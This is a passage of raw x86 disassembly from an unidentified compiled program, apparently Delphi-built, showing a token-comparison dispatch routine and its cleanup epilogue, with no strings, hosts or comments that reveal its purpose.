call fcn.00590064
call fcn.00405498
jmp 0x5acf48
cmp byte [ebp - 0x585], 0
je 0x5a9fd6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5a9fd6
dec dword [ebp - 0x58c]
mov byte [ebp - 0x585], 0
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade84
call fcn.00405ec0
jne 0x5a9ff4
mov byte [ebp - 0x584], 1
jmp 0x5acf48
cmp dword [ebp - 0x58c], 0
jle 0x5aa053
cmp byte [ebp - 0x58e], 0
jne 0x5aa053
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade94
call fcn.00405ec0
je 0x5aa02a
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade84
call fcn.00405ec0
jne 0x5aa036
mov byte [ebp - 0x584], 1
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5aa053
dec dword [ebp - 0x58c]
jmp 0x5acf48
mov byte [ebp - 0x58e], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5af1f0
call fcn.00405ec0
jne 0x5aa251
lea eax, [ebp - 0x23b8]
push eax
lea ecx, [ebp - 0x23bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23bc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x23b8]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5aa12c
push 0
lea eax, [ebp - 0x23c4]
push eax
lea eax, [ebp - 0x23c8]
push eax
lea ecx, [ebp - 0x23cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23cc]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x23c8]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x23c4]
lea edx, [ebp - 0x23c0]
call fcn.005939c8
mov edx, dword [ebp - 0x23c0]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x23d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c0], 0
je 0x5acf48
mov eax, dword [ebp - 0x3c0]
call fcn.005af6a8
test al, al
jne 0x5aa1b6
lea edx, [ebp - 0x23d4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x23d4]
push eax
lea eax, [ebp - 0x23d8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23d8]
xor edx, edx
pop eax
call fcn.0059002c
cmp dword [ebp - 0x3d0], 0
jne 0x5aa205
call fcn.0058f89c
push edx
push eax
lea eax, [ebp - 0x23dc]
call fcn.0040b2d8
mov eax, dword [ebp - 0x23dc]
push eax
lea eax, [ebp - 0x23e0]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23e0]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x3d0]
call fcn.0058f9d8
push edx
push eax
lea eax, [ebp - 0x23e4]
call fcn.0040b2d8
mov eax, dword [ebp - 0x23e4]
push eax
lea eax, [ebp - 0x23e8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23e8]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af20c
call fcn.00405ec0
jne 0x5aa3f7
lea eax, [ebp - 0x23ec]
push eax
lea ecx, [ebp - 0x23f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23f0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x23ec]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5aa323
push 0
lea eax, [ebp - 0x23f8]
push eax
lea eax, [ebp - 0x23fc]
push eax
lea ecx, [ebp - 0x2400]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2400]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x23fc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x23f8]
lea edx, [ebp - 0x23f4]
call fcn.005939c8
mov edx, dword [ebp - 0x23f4]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2404]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2404]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c0], 0
je 0x5acf48
mov eax, dword [ebp - 0x3c0]
call fcn.005af6a8
test al, al
jne 0x5aa3ad
lea edx, [ebp - 0x2408]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x2408]
push eax
lea eax, [ebp - 0x240c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x240c]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x3d0]
call fcn.00593558
lea edx, [ebp - 0x2410]
call fcn.00593690
mov eax, dword [ebp - 0x2410]
push eax
lea eax, [ebp - 0x2414]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2414]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af228
call fcn.00405ec0
jne 0x5aa4f6
lea edx, [ebp - 0x2418]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x2418]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x241c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x241c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c0], 0
je 0x5acf48
mov eax, dword [ebp - 0x3c0]
call fcn.005af6a8
test al, al
jne 0x5aa4b7
lea edx, [ebp - 0x2420]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x2420]
push eax
lea eax, [ebp - 0x2424]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2424]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x2428]
call fcn.0057cf7c
mov eax, dword [ebp - 0x2428]
push eax
lea eax, [ebp - 0x242c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x242c]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af244
call fcn.00405ec0
jne 0x5aa617
lea eax, [ebp - 0x2430]
push eax
lea ecx, [ebp - 0x2434]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2434]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2430]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5aa5c8
push 0
lea eax, [ebp - 0x243c]
push eax
lea eax, [ebp - 0x2440]
push eax
lea ecx, [ebp - 0x2444]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2444]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x2440]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x243c]
lea edx, [ebp - 0x2438]
call fcn.005939c8
mov edx, dword [ebp - 0x2438]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x2448]
push eax
lea ecx, [ebp - 0x244c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x244c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2448]
call fcn.005936d4
mov edx, eax
mov eax, dword [ebp - 0x3d0]
call fcn.005934b4
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af260
call fcn.00405ec0
jne 0x5aa860
lea eax, [ebp - 0x2450]
push eax
lea ecx, [ebp - 0x2454]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2454]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2450]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5aa6e9
push 0
lea eax, [ebp - 0x245c]
push eax
lea eax, [ebp - 0x2460]
push eax
lea ecx, [ebp - 0x2464]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2464]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x2460]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x245c]
lea edx, [ebp - 0x2458]
call fcn.005939c8
mov edx, dword [ebp - 0x2458]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x246c]
push eax
lea ecx, [ebp - 0x2470]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2470]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x246c]
lea edx, [ebp - 0x2468]
call fcn.005939c8
mov eax, dword [ebp - 0x2468]
lea edx, [ebp - 0x548]
call fcn.0040b3e0
test al, al
je 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af27c
call fcn.00405ec0
jne 0x5aaa25
lea eax, [ebp - 0x2488]
push eax
lea ecx, [ebp - 0x248c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x248c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2488]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5aa932
mov eax, dword [ebp - 0x438]
mov edx, 0x5af29c
call fcn.00405ec0
jne 0x5aabea
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jg 0x596eee
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad013
mov eax, 0x5af4cc
call fcn.005c0fb0
mov eax, 0x5af4e0
call fcn.005c0fb0
push ebp
mov al, 1
call fcn.005940c0
pop ecx
mov eax, 0x5af4fc
call fcn.005c0fb0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ad5f3
lea eax, [ebp - 0x2790]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x25f4]
call fcn.00405a98
lea eax, [ebp - 0x2604]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x25f0]
mov edx, 0x60
call fcn.00405abc
lea eax, [ebp - 0x2470]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x22e0]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x2150]
mov edx, 0x60
call fcn.00405abc
lea eax, [ebp - 0x1fc8]
call fcn.00405a98
lea eax, [ebp - 0x1f50]
call fcn.00405a98
lea eax, [ebp - 0x1f44]
call fcn.00405a98
lea eax, [ebp - 0x1f38]
call fcn.00405a98
lea eax, [ebp - 0x1fd0]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1fc4]
mov edx, 0x1d
call fcn.00405abc
lea eax, [ebp - 0x1f4c]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1f40]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1f34]
mov edx, 0x41
call fcn.00405abc
lea eax, [ebp - 0x1e30]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x1ca0]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x1b10]
call fcn.00405a98
lea eax, [ebp - 0x1b14]
call fcn.00405a98
lea eax, [ebp - 0x1b0c]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x1980]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x17f0]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x1664]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1668]
call fcn.00405a98
lea eax, [ebp - 0x165c]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x14d0]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x1340]
mov edx, 0x3a
call fcn.00405abc
lea eax, [ebp - 0x1258]
call fcn.004062a0
lea eax, [ebp - 0x1254]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x1248]
call fcn.004062a0
lea eax, [ebp - 0x1244]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x1238]
call fcn.004062a0
lea eax, [ebp - 0x1234]
call fcn.00405a98
lea eax, [ebp - 0x1230]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x1224]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x1214]
call fcn.004062a0
lea eax, [ebp - 0x1210]
mov edx, 7
call fcn.00405abc
lea eax, [ebp - 0x11f4]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x11e8]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x11d8]
call fcn.004062a0
lea eax, [ebp - 0x11d4]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0x11b8]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x11bc]
call fcn.00405a98
lea eax, [ebp - 0x11ac]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x1020]
call fcn.00405a98
lea eax, [ebp - 0x1024]
call fcn.00405a98
lea eax, [ebp - 0x101c]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0xe90]
mov edx, 0x41
call fcn.00405abc
lea eax, [ebp - 0xd8c]
call fcn.00407cbc
lea eax, [ebp - 0xd88]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xd70]
mov edx, dword [0x581530]
mov ecx, 4
call fcn.004068b0
lea eax, [ebp - 0xd60]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0xd54]
mov edx, dword [0x581530]
mov ecx, 8
call fcn.004068b0
lea eax, [ebp - 0xd34]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0xd28]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xd1c]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xd04]
call fcn.00407cbc
lea eax, [ebp - 0xd00]
mov edx, dword [0x581530]
mov ecx, 2
call fcn.004068b0
lea eax, [ebp - 0xcf8]
mov edx, 0xa
call fcn.00405abc
lea eax, [ebp - 0xcd0]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xcc4]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xcac]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xca0]
mov edx, 9
call fcn.00405abc
lea eax, [ebp - 0xc7c]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc70]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xc58]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc4c]
mov edx, 9
call fcn.00405abc
lea eax, [ebp - 0xc28]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc1c]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xc04]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xbf8]
mov edx, 0xd
call fcn.00405abc
lea eax, [ebp - 0xbc4]
call fcn.004062a0
lea eax, [ebp - 0xbc0]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xbb0]
call fcn.004062a0
lea eax, [ebp - 0xbac]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xb9c]
call fcn.004062a0
lea eax, [ebp - 0xb98]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xb88]
call fcn.004062a0
lea eax, [ebp - 0xb84]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xb74]
call fcn.004062a0
lea eax, [ebp - 0xb70]
mov edx, 0x13
call fcn.00405abc
lea eax, [ebp - 0xb24]
call fcn.00407cbc
lea eax, [ebp - 0xb20]
mov edx, 0x50
call fcn.00405abc
lea eax, [ebp - 0x9e0]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x854]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x858]
call fcn.00405a98
lea eax, [ebp - 0x84c]
mov edx, 0xd
call fcn.00405abc
lea eax, [ebp - 0x51c]
mov edx, dword [0x40a594]
call fcn.00406864
lea eax, [ebp - 0x45c]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x44c]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x440]
call fcn.00407cbc
lea eax, [ebp - 0x43c]
call fcn.00407cbc
lea eax, [ebp - 0x438]
mov edx, 0x24
call fcn.00405abc
lea eax, [ebp - 8]
call fcn.00405a98
lea eax, [ebp + 8]
call fcn.00405a98
ret